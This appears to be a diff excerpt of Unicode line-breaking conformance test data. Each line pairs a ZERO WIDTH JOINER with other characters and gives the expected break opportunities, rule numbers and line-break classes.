+× 200D × 0308 × 000B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 200D × 0308 × 0020 × 000B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 200D ÷ FFFC ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200D × 0020 ÷ FFFC ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200D × 0308 ÷ FFFC ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200D × 007D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200D × 0020 × 007D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200D × 0308 × 007D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200D × 0308 × 0020 × 007D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200D × 0029 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 200D × 0020 × 0029 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 200D × 0308 × 0029 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 200D × 0308 × 0020 × 0029 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 200D × 000D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200D × 0020 × 000D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200D × 0308 × 000D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200D × 0308 × 0020 × 000D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200D × 0021 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 200D × 0020 × 0021 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 200D × 0308 × 0021 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 200D × 0308 × 0020 × 0021 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 200D × 00A0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D × 0020 ÷ 00A0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D × 0308 × 00A0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200D ÷ AC00 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200D × 0020 ÷ AC00 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200D × 0308 ÷ AC00 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200D ÷ AC01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200D × 0020 ÷ AC01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200D × 0308 ÷ AC01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200D × 05D0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200D × 0020 ÷ 05D0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200D × 0308 × 05D0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200D × 002D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200D × 0020 ÷ 002D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200D × 0308 × 002D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 002D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200D × 231A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [8.1] WATCH (ID) ÷ [0.3]
+× 200D × 0020 ÷ 231A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 200D × 0308 ÷ 231A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 231A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 200D × 2024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 200D × 0020 ÷ 2024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 200D × 0308 × 2024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 200D × 002C ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.04] COMMA (IS) ÷ [0.3]
+× 200D × 0020 × 002C ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 200D × 0308 × 002C ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] COMMA (IS) ÷ [0.3]
+× 200D × 0308 × 0020 × 002C ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 200D ÷ 1100 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200D × 0020 ÷ 1100 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200D × 0308 ÷ 1100 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200D ÷ 11A8 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200D × 0020 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200D × 0308 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200D ÷ 1160 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200D × 0020 ÷ 1160 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200D × 0308 ÷ 1160 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200D × 000A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200D × 0020 × 000A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200D × 0308 × 000A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200D × 0308 × 0020 × 000A ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200D × 0085 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200D × 0020 × 0085 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200D × 0308 × 0085 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200D × 0308 × 0020 × 0085 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200D × 17D6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200D × 0020 ÷ 17D6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200D × 0308 × 17D6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200D × 0030 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 200D × 0020 ÷ 0030 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 200D × 0308 × 0030 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 200D × 0028 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200D × 0020 ÷ 0028 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200D × 0308 × 0028 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200D × 0025 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 200D × 0020 ÷ 0025 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 200D × 0308 × 0025 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 200D × 0024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 200D × 0020 ÷ 0024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 200D × 0308 × 0024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 200D × 0022 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 200D × 0020 ÷ 0022 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 200D × 0308 × 0022 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 200D × 0020 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 200D × 0020 × 0020 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 200D × 0308 × 0020 × 0020 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 200D × 002F ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
+× 200D × 0020 × 002F ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 200D × 0308 × 002F ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
+× 200D × 0308 × 0020 × 002F ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 200D × 2060 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200D × 0020 × 2060 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200D × 0308 × 2060 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200D × 0308 × 0020 × 2060 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200D × 200B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200D × 0020 × 200B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200D × 0308 × 200B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200D × 0308 × 0020 × 200B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200D ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200D × 0020 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200D × 0308 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200D × 261D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [8.1] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200D × 0020 ÷ 261D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200D × 0308 ÷ 261D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 261D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200D × 1F3FB ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [8.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200D × 0020 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200D × 0308 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200D × 0001 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200D × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200D × 0308 × 0001 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200D × 200D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200D × 0020 ÷ 200D ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
